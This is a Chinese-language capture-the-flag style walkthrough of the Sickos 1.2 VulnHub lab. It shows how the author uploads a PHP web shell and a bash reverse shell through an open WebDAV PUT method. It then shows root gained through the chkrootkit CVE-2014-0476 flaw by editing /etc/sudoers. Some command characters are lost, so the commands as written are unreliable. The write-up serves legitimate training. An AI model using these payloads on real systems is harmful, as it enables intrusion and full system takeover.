【Sickos1.2渗透测试手把手超详细教程】

发布时间:2026/6/29 3:30:48

【Sickos1.2渗透测试手把手超详细教程】 本文记录了Sickos1.2靶机的完整详细渗透测试过程包括信息收集、漏洞发现、获取shell以及提权至root的方法。靶机下载链接 https://download.vulnhub.com/sickos/sick0s1.2.zip靶机名称:sickos1.2测试时间2026/3/15一.概述查询攻击机kaliIP:ifconfig得到攻击机(kali)IP192.168.253.166查询靶机IPnmap-sn192.168.253.00/24或netdiscover-r192.168.253.00/24得到靶机IP192.168.253.168二. 信息收集1.扫描全部端口nmap-A-p1-64000192.168.253.168得到开放端口有22:ssh服务用于远程登录80网页默认的 HTTP 端口2.Web网页目录扫描dirb http://192.168.253.168 或者 dirsearch-uhttp://192.168.253.168-x404,403,400都是只扫描出一个test目录3.web指纹识别whatweb http://192.168.253.168运行着 lighttpd/1.4.28 Web 服务器和 PHP/5.3.10状态码 200 说明页面可正常访问4.打开网页收集信息网址直接输入192.168.253.168即可访问页面有一段英文‘WHAT IF COMPUTER VIRUSESARE REALLY MADE BY THE ANTI-VIRUSSOFTWARE COMPANIES TO MAKEMONEY?’翻译过来就是‘要是电脑病毒其实是杀毒软件公司为了赚钱自己造出来的呢’感觉这阴谋论还挺有道理的其他地方没发现什么信息我们访问看看刚才扫描出的test一个目录但是里面没有文件这里就要考虑是否可以上传文件点一下parent directory又回到刚才的初始页面我们CTRLu看一下初始页面源代码只显示一张刚才我们看到的那个图片再回到/test查看源代码代码显示目录为空没发现什么信息啊我们用curl看一下服务器返回的响应头有时会有线索隐藏在响应头curl-Ihttp://192.168.253.168/test/没有什么信息再用curl查看服务器可用的HTTP方法curl-v-XOPTIONS http://192.168.253.168/test/发现DAVwebdav开启且PUT方法允许这时候就要尝试能不能上传文件利用curl上传一个内容为test的test.txt文件curl-XPUT-dtesthttp://192.168.253.168/test/test.txt刷新一下网页发现test目录多了一个test.txt说明上传成功那我们就直接上传一个shell上传内容为’?php system($_GET[cmd]); ?’ 的shell.php文件curl-XPUT-d?php exec(/bin/bash -c \bash -i /dev/tcp/192.168.253.166/8080 01\); ?http://192.168.253.168/test/shell.php刷新页面上传成功然后nc-lnvp8080结果一直监听不了后面经过我的不懈努力和不断改代码测试当时已经麻木了看我下面这张图就知道有多麻木…终于找到了成功监听命令并且搞懂了为什么上个命令不行其实我偶然就成功监听了但是我想搞懂到底为什么之前不行所以后面又搞了好多首先我先放出正确命令首先新建一个空文件然后重命名我这里命名为shell1.php然后文件内容是文件内容是?php exec(/bin/bash -c bash -i /dev/tcp/192.168.253.166/8080 01); ?然后在bash执行命令curl-Tshell1.php--http1.0http://192.168.253.168/test/shell1.php然后开启监听nc-lnvp8080再回到游览器的test/目录点击shell1.php即可监听成功那么为什么第一次命令不行呢因为-d是’表单数据’它会自动编码且添加HTTP请求头Content-Type: application/x-www-form-urlencoded而-T是’文件上传’所以后面的命令成功如果你要用第一个命令也可以不过要把’-d’参数改成’–data-binary’参数因为–data-binary参数不会做编码即curl-XPUT\--data-binary?php exec(/bin/bash -c \bash -i /dev/tcp/192.168.253.166/8080 01\); ?\http://192.168.253.168/test/shell100.php监听后回到网页点击文件同样成功三. 漏洞发现与利用Web漏洞漏洞类型WebDAV 任意文件上传漏洞利用过程1.发现网页有/test目录2.利用curl发现该目录存在webdav且允许使用PUT方法上传文件3.构造反弹shell文件并用curl上传成功获得控制权四. 权限提升升级得到一个交互更好的bashpython-cimport pty; pty.spawn(/bin/bash)用id或whoami查看自己身份查看内核版本uname-a查看sudo命令可不可以用sudo-l结果是没有权限查看当前用户定时任务crontab-l无任务查看定时任务ls/etc/cron*这里也可以用另一个命令查找到chkrootkitgrepCRON /var/log/syslog通过这两步可发现东西了里面有一个chkrootkit一个常用的 rootkit 检测工具我们看一下版本chkrootkit-V0.49版本即CVE-2014-0476想详细了解的可以直接搜这个漏洞编号大概意思就是当在 /tmp 目录下发现一个名为 update 的可执行文件时chkrootkit会以 root 权限执行它进而让我们获得root权限所以我们写入提权代码到/tmp/updateechochmod w /etc/sudoers echo www-data ALL(ALL) NOPASSWD: ALL /etc/sudoers/tmp/update这段代码的意思是给/etc/sudoers添加写入权限且允许www-data用户无需密码即可使用sudo执行所有命令然后我们赋予/tmp/update 777权限最高权限chmod777/tmp/update然后再重新查看可利用的sudo命令sudo-l发现全都可以用了那么我们直接进行提权sudosu成功得到root权限cd /root进入root目录然后ls查看该目录下文件成功得到flag五.总结与反思本次测试主要难点WebDAV 上传调试在 /test 目录发现允许 PUT 方法后如何正确上传一个能正常解析的 PHP 反弹 shell 文件是第一个难关。直接使用 -d 参数会因为编码问题导致文件内容损坏需要换成 -T 或 --data-binary 来保证代码完整这个调试过程需要耐心和对 HTTP 协议的了解。提权信息收集获得低权限 shell 后面对大量系统信息如何快速定位到关键线索如 /etc/cron.d/ 下的 chkrootkit并关联到已知漏洞CVE-2014-0476需要清晰的思路和对常见提权手段的熟悉。学到的技巧了解了可以利用webdav并且用curl和PUT方法上传文件然后利用 -T参数准确上传文件而不是用 -d 发送表单数据巩固了用crontab -l ls /etc/cron*grep CRON /var/log/syslog等命令查找系统定时任务并且学习到了chkrootkit的旧版本漏洞该靶机漏洞出现在80端口(通过curl访问/test发现可以利用PUT上传文件从而上传反弹shell)利用了WEBDAV文件上传漏洞提权是通过访问了定时任务找到了chkrootkit的旧版本漏洞从而提权成功​

相关新闻